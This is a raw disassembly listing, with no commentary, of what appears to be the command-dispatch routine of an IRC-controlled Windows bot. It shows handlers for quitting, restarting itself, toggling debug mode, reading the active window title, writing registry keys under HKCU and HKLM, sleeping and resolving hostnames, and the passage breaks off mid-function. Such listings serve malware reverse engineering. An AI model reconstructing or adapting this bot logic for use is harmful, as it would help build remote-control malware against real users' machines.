var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 59ACh
		call	sub_4108B0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_14]
		push	edi
		push	dword ptr [esi]
		call	sub_409CCF
		push	[ebp+arg_0]
		mov	edi, eax
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_410820	; _mbscpy
		push	[ebp+arg_8]
		lea	eax, [ebp+var_19B]
		push	eax
		call	sub_410820	; _mbscpy
		mov	eax, [ebp+arg_C]
		push	7Ah
		push	[ebp+arg_10]
		mov	[ebp+var_9B], eax
		lea	eax, [ebp+var_97]
		push	eax
		call	sub_410838	; memcpy
		add	esp, 20h
		cmp	edi, dword_413DBC
		push	1
		pop	eax
		mov	[ebp+var_1D], eax
		jnz	short loc_4073D0
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40FCB2
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_4073D0:				; CODE XREF: sub_40735A+63j
		cmp	edi, dword_413DB0
		jnz	short loc_40741E
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_407412
		lea	eax, [ebp+var_3A8]
		push	eax
		lea	eax, [ebp+var_384]
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		call	sub_404354
		add	esp, 0Ch
		lea	eax, [ebp+var_1E0]
		push	eax


loc_407403:				; CODE XREF: sub_40735A+C2j
		push	offset dword_413DA8


loc_407408:				; CODE XREF: sub_40735A+81Cj
					; sub_40735A+94Cj
		call	sub_408E60
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407412:				; CODE XREF: sub_40735A+83j
		push	eax
		call	sub_408F4C
		pop	ecx
		push	dword ptr [esi+4]
		jmp	short loc_407403
; ---------------------------------------------------------------------------


loc_40741E:				; CODE XREF: sub_40735A+7Cj
		cmp	edi, dword_413D9C
		jnz	short loc_407458
		lea	eax, [ebp+var_5A8]
		push	200h
		push	eax
		call	ds:dword_4111F4	; GetForegroundWindow
		push	eax
		call	ds:dword_4111F0	; GetWindowTextA
		test	eax, eax
		jle	loc_4083EE
		lea	eax, [ebp+var_5A8]
		push	eax
		push	offset dword_413D80
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_407458:				; CODE XREF: sub_40735A+CAj
		cmp	edi, dword_413D74
		jnz	short loc_407477
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4050D1
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_407477:				; CODE XREF: sub_40735A+104j
		cmp	edi, dword_413D68
		jnz	loc_40754B
		mov	eax, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [eax+4]
		cmp	eax, ebx
		jz	loc_4083EE
		push	180h
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_4052A6
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_410826	; strlen
		mov	esi, eax
		add	esp, 10h
		cmp	esi, 3
		jle	short loc_4074F1
		lea	edi, [ebp+esi+var_363]
		push	offset dword_413D64
		push	edi
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4074F1
		lea	eax, [ebp+var_360]
		mov	[edi], bl
		push	eax
		call	sub_40519C
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_410826	; strlen
		pop	ecx
		mov	esi, eax
		pop	ecx


loc_4074F1:				; CODE XREF: sub_40735A+15Fj
					; sub_40735A+177j
		mov	eax, esi
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, esi
		sub	ecx, eax
		cmp	ecx, 180h
		ja	loc_4083EE
		lea	eax, [ebp+var_360]
		push	esi
		push	eax
		call	sub_409E1D
		lea	eax, [ebp+var_360]
		push	esi
		push	eax
		call	sub_409E49
		push	eax
		lea	eax, [ebp+var_528]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_409B9F
		add	esp, 1Ch
		lea	eax, [ebp+var_528]
		push	eax
		push	offset dword_413D40
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_40754B:				; CODE XREF: sub_40735A+123j
		cmp	edi, dword_413D34
		jnz	loc_4075E9
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	loc_4083EE
		cmp	byte ptr [eax],	3Dh
		jnz	loc_4083EE
		inc	eax
		push	eax
		call	sub_409C55
		test	eax, eax
		pop	ecx
		jz	loc_4083EE
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_410826	; strlen
		pop	ecx
		mov	ecx, eax
		push	4
		cdq
		pop	edi
		idiv	edi
		sub	ecx, eax
		cmp	ecx, 180h
		ja	loc_4083EE
		lea	eax, [ebp+var_360]
		push	eax
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_409AD3
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_409EB3
		mov	esi, eax
		lea	eax, [ebp+var_360]
		push	esi
		push	eax
		call	sub_409E33
		add	esp, 18h
		lea	eax, [ebp+var_360]
		mov	[ebp+esi+var_360], bl
		push	eax
		push	offset dword_413D14
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_4075E9:				; CODE XREF: sub_40735A+1F7j
		cmp	edi, dword_413D04
		jnz	short loc_407605
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_404317
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407605:				; CODE XREF: sub_40735A+295j
		cmp	edi, dword_413CF4
		jnz	short loc_40761E
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_404202
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_40761E:				; CODE XREF: sub_40735A+2B1j
		cmp	edi, dword_413CE4
		jnz	short loc_40766E
		xor	ebx, ebx
		mov	[ebp+var_20], 1
		cmp	[ebp+var_31], bl
		jz	short loc_407642
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D1B3
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_407642:				; CODE XREF: sub_40735A+2D5j
		cmp	[ebp+var_23], bl
		lea	eax, [ebp+var_1BC]
		push	eax
		jz	short loc_407658
		call	sub_40D5AA
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_407658:				; CODE XREF: sub_40735A+2F2j
		call	sub_40D1B3
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D5AA
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_40766E:				; CODE XREF: sub_40735A+2CAj
		cmp	edi, dword_413CD4
		jnz	short loc_407687
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40F515
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_407687:				; CODE XREF: sub_40735A+31Aj
		cmp	edi, dword_413CC8
		jnz	short loc_4076AB
		mov	eax, [ebp+arg_18]
		add	esi, 4
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1BC]
		push	esi
		push	eax
		call	sub_410542
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_4076AB:				; CODE XREF: sub_40735A+333j
		cmp	edi, dword_413CBC
		jz	loc_4083E2
		cmp	edi, dword_413CB0
		jz	loc_4083E2
		cmp	edi, dword_413CA0
		jnz	short loc_4076E2
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4027CB
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_4076E2:				; CODE XREF: sub_40735A+36Fj
		cmp	edi, dword_413C94
		jnz	short loc_407704
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+4]
		push	eax
		call	sub_401FA3
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_407704:				; CODE XREF: sub_40735A+38Ej
		cmp	edi, dword_413C84
		jnz	short loc_407726
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_404240
		jmp	loc_408121
; ---------------------------------------------------------------------------


loc_407726:				; CODE XREF: sub_40735A+3B0j
		cmp	edi, dword_413C74
		jnz	short loc_407748
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+4]
		push	eax
		call	sub_41041B
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_407748:				; CODE XREF: sub_40735A+3D2j
		cmp	edi, dword_413C64
		jnz	short loc_40777B
		mov	esi, [ebp+arg_18]
		mov	eax, [esi+4]
		test	eax, eax
		jz	loc_4083EE
		push	eax
		push	80000001h
		call	sub_401000
		push	dword ptr [esi+4]
		push	80000002h
		call	sub_401000
		jmp	loc_408121
; ---------------------------------------------------------------------------


loc_40777B:				; CODE XREF: sub_40735A+3F4j
		cmp	edi, dword_413C54
		jnz	short loc_407793
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40110A
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_407793:				; CODE XREF: sub_40735A+427j
		cmp	edi, dword_413C48
		jnz	short loc_4077B4
		push	0


loc_40779D:				; CODE XREF: sub_40735A+463j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4014B0
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_4077B4:				; CODE XREF: sub_40735A+43Fj
		cmp	edi, dword_413C3C
		jnz	short loc_4077BF
		push	eax
		jmp	short loc_40779D
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: sub_40735A+460j
		cmp	edi, dword_413C30
		jnz	short loc_4077D8
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_406A80
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_4077D8:				; CODE XREF: sub_40735A+46Bj
		cmp	edi, dword_413C28
		jnz	short loc_4077EF
		push	offset dword_418C78
		push	offset dword_413C18
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_4077EF:				; CODE XREF: sub_40735A+484j
		cmp	edi, dword_413C0C
		jnz	short loc_40780E
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40EA34
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_40780E:				; CODE XREF: sub_40735A+49Bj
		cmp	edi, dword_413C00
		jz	loc_4083C2
		cmp	edi, dword_413BF4
		jz	loc_4083C2
		cmp	edi, dword_413BE8
		jz	loc_4083C2
		cmp	edi, dword_413BD8
		jnz	short loc_40784B
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40EB64
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_40784B:				; CODE XREF: sub_40735A+4DEj
		cmp	edi, dword_413BC4
		jnz	short loc_407897
		mov	esi, [ebp+arg_18]
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_407883
		push	eax
		call	sub_4104C3
		test	eax, eax
		pop	ecx
		jz	loc_4083EE
		push	104h
		push	dword ptr [esi+4]
		push	offset dword_418970
		call	sub_4052A6
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_407883:				; CODE XREF: sub_40735A+501j
		push	offset dword_41885C
		push	offset dword_418970


loc_40788D:				; CODE XREF: sub_40735A+6A3j
					; sub_40735A+ECBj
		call	sub_410820	; _mbscpy
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407897:				; CODE XREF: sub_40735A+4F7j
		cmp	edi, dword_413BB4
		jnz	short loc_4078C2
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40EF0E


loc_4078BA:				; CODE XREF: sub_40735A+1083j
		add	esp, 18h
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_4078C2:				; CODE XREF: sub_40735A+543j
		cmp	edi, dword_413BAC
		jnz	loc_40796F
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	loc_4083EE
		push	eax
		call	sub_410826	; strlen
		shl	eax, 1
		push	eax
		call	sub_41082C	; malloc
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_4083EE
		push	dword ptr [esi+4]
		call	sub_410826	; strlen
		push	eax
		push	edi
		push	dword ptr [esi+4]
		call	sub_409B9F
		add	esp, 10h
		lea	eax, [ebp+var_1BC]
		push	edi
		push	offset dword_413B90
		push	eax
		call	sub_408D50
		push	edi
		call	sub_410832	; free
		mov	esi, 1000h
		lea	eax, [ebp+var_19AC]
		push	esi
		push	eax
		call	sub_40AB46
		add	esp, 18h
		call	sub_41084A	; clock
		mov	ebx, eax
		mov	edi, 186A0h


loc_407946:				; CODE XREF: sub_40735A+604j
		lea	eax, [ebp+var_59AC]
		push	esi
		push	eax
		lea	eax, [ebp+var_19AC]
		push	eax
		call	sub_409B9F
		add	esp, 0Ch
		dec	edi
		jnz	short loc_407946
		call	sub_41084A	; clock
		sub	eax, ebx
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		jmp	short loc_4079E3
; ---------------------------------------------------------------------------


loc_40796F:				; CODE XREF: sub_40735A+56Ej
		cmp	edi, dword_413B70
		jnz	short loc_4079CA
		mov	edi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [edi+4]
		cmp	eax, ebx
		jz	loc_4083EE
		push	eax
		call	sub_410826	; strlen
		push	eax
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4083EE
		push	esi
		push	dword ptr [edi+4]
		call	sub_409AD3
		pop	ecx
		mov	[eax+esi], bl
		pop	ecx
		lea	eax, [ebp+var_1BC]
		push	esi
		push	offset dword_413B54
		push	eax
		call	sub_408D50
		push	esi
		call	sub_410832	; free
		jmp	loc_408121
; ---------------------------------------------------------------------------


loc_4079CA:				; CODE XREF: sub_40735A+61Bj
		cmp	edi, dword_413B44
		jnz	short loc_407A02
		mov	esi, [esi+4]
		test	esi, esi
		jnz	short loc_4079F7
		push	offset dword_418C78
		push	offset dword_413B30


loc_4079E3:				; CODE XREF: sub_40735A+F9j
					; sub_40735A+1ECj ...
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_408D50


loc_4079EF:				; CODE XREF: sub_40735A+118j
					; sub_40735A+34Cj ...
		add	esp, 0Ch
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_4079F7:				; CODE XREF: sub_40735A+67Dj
		push	esi
		push	offset dword_418C78
		jmp	loc_40788D
; ---------------------------------------------------------------------------


loc_407A02:				; CODE XREF: sub_40735A+676j
		cmp	edi, dword_413B24
		jnz	short loc_407A17
		push	dword ptr [esi+4]
		call	sub_40678D
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_407A17:				; CODE XREF: sub_40735A+6AEj
		cmp	edi, dword_413B18
		jnz	short loc_407A33
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4030A7
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407A33:				; CODE XREF: sub_40735A+6C3j
		cmp	edi, dword_413B08
		jnz	short loc_407A48
		push	dword ptr [esi+4]
		call	sub_406868
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_407A48:				; CODE XREF: sub_40735A+6DFj
		cmp	edi, dword_413AFC
		jnz	short loc_407A67
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4043B3
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407A67:				; CODE XREF: sub_40735A+6F4j
		cmp	edi, dword_413AEC
		jnz	short loc_407A83
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40DD96
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407A83:				; CODE XREF: sub_40735A+713j
		cmp	edi, dword_413AE0
		jnz	short loc_407AA8
		push	dword ptr [esi+10h]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_406E50
		jmp	loc_40837F
; ---------------------------------------------------------------------------


loc_407AA8:				; CODE XREF: sub_40735A+72Fj
		cmp	edi, dword_413AD4
		jnz	short loc_407AC7
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_1BC]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4070F0
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_407AC7:				; CODE XREF: sub_40735A+754j
		cmp	edi, dword_413AC8
		jnz	short loc_407AEA
		push	offset dword_41885C
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_408E60
		pop	ecx
		pop	ecx
		push	36EE80h
		jmp	loc_407BA1
; ---------------------------------------------------------------------------


loc_407AEA:				; CODE XREF: sub_40735A+773j
		cmp	edi, dword_413AA8
		jnz	short loc_407B38
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_4083EE
		mov	edi, offset dword_4177EC
		push	eax
		push	edi
		call	sub_410820	; _mbscpy
		mov	esi, [esi+8]
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_407B19
		mov	esi, offset byte_417B60


loc_407B19:				; CODE XREF: sub_40735A+7B8j
		push	esi
		mov	esi, offset dword_418A78
		push	esi
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx
		push	esi
		push	edi


loc_407B29:				; CODE XREF: sub_40735A+801j
		push	offset dword_413A9C
		call	sub_408E60
		jmp	loc_4079EF
; ---------------------------------------------------------------------------


loc_407B38:				; CODE XREF: sub_40735A+796j
		cmp	edi, dword_413A90
		jnz	short loc_407B5D
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_4083EE
		mov	esi, [esi+8]
		cmp	esi, ebx
		jnz	short loc_407B59
		mov	esi, offset byte_417B60


loc_407B59:				; CODE XREF: sub_40735A+7F8j
		push	esi
		push	eax
		jmp	short loc_407B29
; ---------------------------------------------------------------------------


loc_407B5D:				; CODE XREF: sub_40735A+7E4j
		cmp	edi, dword_413A84
		jnz	short loc_407B7B
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_4083EE
		push	esi
		push	offset dword_413A7C
		jmp	loc_407408
; ---------------------------------------------------------------------------


loc_407B7B:				; CODE XREF: sub_40735A+809j
		cmp	edi, dword_413A70
		jnz	short loc_407BAC
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_4083EE
		push	esi
		call	sub_41088C	; atoi
		cmp	eax, 927C0h
		pop	ecx
		jg	loc_4083EE
		push	eax


loc_407BA1:				; CODE XREF: sub_40735A+78Bj
		call	ds:dword_4110A4	; Sleep
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_407BAC:				; CODE XREF: sub_40735A+827j
		cmp	edi, dword_413A68
		jnz	short loc_407BDB
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4083EE
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+8]
		cmp	eax, ebx
		jz	loc_4083EE
		push	eax
		push	esi
		call	sub_408CDE
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407BDB:				; CODE XREF: sub_40735A+858j
		cmp	edi, dword_413A5C
		jnz	short loc_407C0A
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4083EE
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+8]
		cmp	eax, ebx
		jz	loc_4083EE
		push	eax
		push	esi
		call	sub_408C6C
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407C0A:				; CODE XREF: sub_40735A+887j
		cmp	edi, dword_413A54
		jnz	short loc_407C26
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		test	eax, eax
		jz	loc_4083EE
		push	eax
		jmp	loc_4083BB
; ---------------------------------------------------------------------------


loc_407C26:				; CODE XREF: sub_40735A+8B6j
		cmp	edi, dword_413A48
		jnz	short loc_407C70
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_407C54
		cmp	dword_417B68, ebx
		mov	eax, offset aOn	; "on"
		jnz	short loc_407C49
		mov	eax, offset aOff ; "off"


loc_407C49:				; CODE XREF: sub_40735A+8E8j
		push	eax
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_407C54:				; CODE XREF: sub_40735A+8DBj
		push	offset aOn	; "on"
		push	esi
		call	sub_410C94	; _strcmpi
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	dword_417B68, eax
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_407C70:				; CODE XREF: sub_40735A+8D2j
		cmp	edi, dword_413A1C
		jnz	short loc_407C89
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40FEA2
		jmp	loc_4083ED
; ---------------------------------------------------------------------------


loc_407C89:				; CODE XREF: sub_40735A+91Cj
		cmp	edi, dword_413A10
		jnz	short loc_407CAB
		cmp	dword ptr [esi+4], 0
		jz	loc_4083EE
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_413A08
		jmp	loc_407408
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_40735A+935j
		cmp	edi, dword_4139FC
		jz	loc_4083B6
		cmp	edi, dword_4139F0
		jz	loc_4083B6
		cmp	edi, dword_4139E8
		jz	loc_4083B6
		cmp	edi, dword_4139DC
		jnz	short loc_407D24
		lea	eax, [ebp+var_2E4]
		push	104h
		xor	ebx, ebx
		push	eax
		push	ebx
		call	ds:dword_411094	; GetModuleHandleA
		push	eax
		call	ds:dword_411098	; GetModuleFileNameA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_4111E4
		cmp	eax, 20h
		jbe	loc_4083EE
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_408E60
		pop	ecx
		push	ebx
		call	ds:dword_411064	; ExitProcess


loc_407D24:				; CODE XREF: sub_40735A+97Bj
		cmp	edi, dword_4139D0
		jnz	short loc_407D52
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_4083EE
		movzx	eax, byte ptr [esi]
		push	eax
		push	eax
		push	offset dword_4139A0


loc_407D41:				; CODE XREF: sub_40735A+BD3j
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_408D50
		jmp	loc_408121
; ---------------------------------------------------------------------------


loc_407D52:				; CODE XREF: sub_40735A+9D0j
		cmp	edi, dword_413990
		jnz	short loc_407D64
		call	sub_404BC3
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_407D64:				; CODE XREF: sub_40735A+9FEj
		cmp	edi, dword_413988
		jz	loc_4083A1
		cmp	edi, dword_41397C
		jz	loc_4083A1
		cmp	edi, dword_413974
		jnz	short loc_407D9B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4087CE
		jmp	loc_4083B3
; ---------------------------------------------------------------------------


loc_407D9B:				; CODE XREF: sub_40735A+A28j
		cmp	edi, dword_413968
		jz	loc_408384
		cmp	edi, dword_413958
		jz	loc_408384
		cmp	edi, dword_413950
		jnz	loc_407EBF
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_407DCD
		mov	dword ptr [esi+4], offset byte_417B60


loc_407DCD:				; CODE XREF: sub_40735A+A6Aj
		lea	eax, [ebp+arg_14]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi+4]
		call	dword_417BB4	; getaddrinfo
		test	eax, eax
		jnz	loc_407F38
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_407EB1
		mov	edi, 3E8h


loc_407DF7:				; CODE XREF: sub_40735A+B51j
		push	2
		push	ebx
		push	ebx
		lea	eax, [ebp+var_9AC]
		push	401h
		push	eax
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_417BB8	; getnameinfo
		test	eax, eax
		jnz	loc_407EA0
		mov	eax, [ebp+arg_18]
		mov	ecx, [eax+4]
		cmp	ecx, 2
		jnz	short loc_407E53
		mov	eax, [esi+4]
		cmp	[eax], bl
		jnz	short loc_407E35
		mov	eax, offset dword_41394C


loc_407E35:				; CODE XREF: sub_40735A+AD4j
		lea	ecx, [ebp+var_9AC]
		push	ecx
		push	eax
		push	offset dword_413928


loc_407E42:				; CODE XREF: sub_40735A+B17j
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_408D50
		add	esp, 10h
		jmp	short loc_407E99
; ---------------------------------------------------------------------------


loc_407E53:				; CODE XREF: sub_40735A+ACDj
		mov	eax, [esi+4]
		cmp	ecx, 17h
		jnz	short loc_407E73
		cmp	[eax], bl
		jnz	short loc_407E64
		mov	eax, offset dword_41394C


loc_407E64:				; CODE XREF: sub_40735A+B03j
		lea	ecx, [ebp+var_9AC]
		push	ecx
		push	eax
		push	offset byte_413904
		jmp	short loc_407E42
; ---------------------------------------------------------------------------


loc_407E73:				; CODE XREF: sub_40735A+AFFj
		cmp	[eax], bl
		jnz	short loc_407E7C
		mov	eax, offset dword_41394C


loc_407E7C:				; CODE XREF: sub_40735A+B1Bj
		lea	edx, [ebp+var_9AC]
		push	edx
		push	ecx
		push	eax
		lea	eax, [ebp+var_1BC]
		push	offset dword_4138D0
		push	eax
		call	sub_408D50
		add	esp, 14h


loc_407E99:				; CODE XREF: sub_40735A+AF7j
		push	edi
		call	ds:dword_4110A4	; Sleep


loc_407EA0:				; CODE XREF: sub_40735A+ABEj
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+1Ch]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jnz	loc_407DF7


loc_407EB1:				; CODE XREF: sub_40735A+A92j
		push	[ebp+arg_14]
		call	dword_417BBC	; freeaddrinfo
		jmp	loc_4083EE
; ---------------------------------------------------------------------------


loc_407EBF:				; CODE XREF: sub_40735A+A5Fj
		cmp	edi, dword_4138C4
		jnz	short loc_407F45
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_407ED5
		mov	dword ptr [esi+4], offset byte_417B60


loc_407ED5:				; CODE XREF: sub_40735A+B72j
		lea	eax, [ebp+arg_18]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi+4]
		call	dword_417BB4	; getaddrinfo
		test	eax, eax
		jnz	short loc_407F38
		push	4
		push	ebx
		push	ebx
		lea	eax, [ebp+var_9AC]
		push	401h
		push	eax
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_417BB8	; getnameinfo
		push	[ebp+arg_18]
		test	eax, eax
		jnz	short loc_407F32
		call	dword_417BBC	; freeaddrinfo
		mov	esi, [esi+4]
		cmp	[esi], bl
		jnz	short loc_407F20
		mov	esi, offset dword_41394C


loc_407F20:				; CODE XREF: sub_40735A+BBFj
		lea	eax, [ebp+var_9AC]
		push	eax
		push	esi
		push	offset dword_4138A8
		jmp	loc_407D41
; ---------------------------------------------------------------------------


loc_407F32:				; CODE XREF: sub_40735A+BB2j
		call	dword_417BBC	; freeaddrinfo


loc_407F38:				; CODE XREF: sub_40735A+A84j
					; sub_40735A+B8Cj
		push	dword ptr [esi+4]
		push	offset dword_41388C
		jmp	loc_4079E3
; ---------------------------------------------------------------------------


loc_407F45:				; CODE XREF: sub_40735A+B6Bj
		cmp	edi, dword_41387C
		jnz	loc_408028
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_4083EE
		push	eax
		call	sub_410826	; strlen
		cmp	eax, 0Ah
		pop	ecx
		jbe	loc_4083EE
		push	dword ptr [esi+4]
		call	sub_410826	; strlen
		push	4
		push	offset a2002	; "2002"
		push	dword ptr [esi+4]
		mov	edi, eax
		call	sub_410AFA	; memcmp
		add	esp, 10h
		test	eax, eax
		jnz	loc_40801B
		mov	eax, [esi+4]
		add	eax, edi
		mov	cl, [eax-9]
		mov	byte ptr [ebp+var_C], cl
		mov	cl, [eax-8]
		mov	byte ptr [ebp+var_C+1],	cl
		mov	byte ptr [ebp+var_C+2],	bl
		mov	cl, [eax-7]
		mov	byte ptr [ebp+var_C+3],	cl
		mov	cl, [eax-6]
		mov	[ebp+var_8], cl
		mov	[ebp+var_7], bl
		mov	cl, [eax-4]
		mov	[ebp+var_6], cl
		mov	cl, [eax-3]
		mov	[ebp+var_5], cl
		mov	[ebp+var_4], bl
		mov	cl, [eax-2]
		mov	[ebp+var_3], cl
		mov	al, [eax-1]
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_3]
		push	eax
		mov	[ebp+var_1], bl
		call	sub_407290
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_407290
